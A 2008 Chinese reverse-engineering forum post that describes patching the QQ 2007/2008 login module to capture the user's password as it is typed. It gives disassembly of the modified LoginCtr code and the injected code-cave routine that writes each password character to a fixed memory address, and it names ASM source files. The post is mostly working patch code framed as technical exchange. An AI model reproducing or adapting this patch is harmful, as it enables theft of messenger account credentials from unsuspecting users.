作 者:
4st0ne
时 间:
2008-03-20,10:28
链 接:
http://bbs.pediy.com/showthread.php?t=61577
本文参考于open[xgc]大侠的"利用Debug Api 获得QQ2007密码",我只是换了语言换了方法,其实思路还是一样的.再次对open[xgc]表示感谢.
标 题: 修改QQ执行顺序,获取QQ2008最新版密码
作 者: sLtYJ(4stone)
版权声明: 本文纯属技术交流, 转载请注明作者并保持文章的完整, 谢谢!
参考open[xgc]大侠的文章,找到2007 7.1.643.400版及2008 8.0.714.201版本QQ的密码出现点,修改代码跳转至空白位置,然后将代码按个写入自己找到的空白位置即可.
列出2007办部分修改后的代码:
021A638A |> /43 /
INC
EBX
021A638B |. |6A 01 |
PUSH 1
021A638D |. |8BC3 |
MOV
EAX,
EBX
021A638F |. |0FAFC6 |
IMUL
EAX,
ESI
021A6392 |8A4C08 FF
MOV
CL,
BYTE
PTR
DS:[
EAX+
ECX-1]
021A6396 |E9 4F240100
JMP LoginCtr.021B87EA //修改点,跳至空白点
021A639B |90
NOP
021A639C |90
NOP
021A639D |90
NOP
021A639E |90
NOP
021A639F |90
NOP
021A63A0 |. |50 |
PUSH
EAX
021A63A1 |884D D4
MOV
BYTE
PTR
SS:[
EBP-2C],
CL
021A63A4 |E8 4AD30000
CALL LoginCtr.021B36F3
021A63A9 |. |8B57 44 |
MOV
EDX,
DWORD
PTR
DS:[
EDI+44]
021A63AC |. |83C4 0C |
ADD
ESP, 0C
021A63AF |. |8B0A |
MOV
ECX,
DWORD
PTR
DS:[
EDX]
021A63B1 |. |8B72 0C |
MOV
ESI,
DWORD
PTR
DS:[
EDX+C]
021A63B4 |. |8B41 F8 |
MOV
EAX,
DWORD
PTR
DS:[
ECX-8]
021A63B7 |. |99 |
CDQ
021A63B8 |. |F7FE |
IDIV
ESI
021A63BA |3BD8
CMP
EBX,
EAX
021A63BC ^/7C CC
JL
SHORT LoginCtr.021A638A
补上自己的代码:
021B87EA 52
PUSH
EDX
021B87EB BA 56CC1200
MOV
EDX, 12CC56
021B87F0 03D3
ADD
EDX,
EBX //借用QQ程序本身的
EBX计数器
021B87F2 36:880A
MOV
BYTE
PTR
SS:[
EDX],
CL //向12CC56开始逐个写入密码
021B87F5 5A
POP
EDX
021B87F6 8D45 D4
LEA
EAX,
DWORD
PTR
SS:[
EBP-2C]
021B87F9 50
PUSH
EAX
021B87FA 8D85 58FFFFFF
LEA
EAX,
DWORD
PTR
SS:[
EBP-A8]
021B8800 ^ E9 9BDBFEFF
JMP LoginCtr.021A63A0 //跳回原处继续执行
021B8805 90
NOP
用ASM代码实现如下:
GetQQpwd.Asm
GetQQpwd.inc
注:刚学ASM不久,代码可能显得很乱很烦,各位看官多多包涵.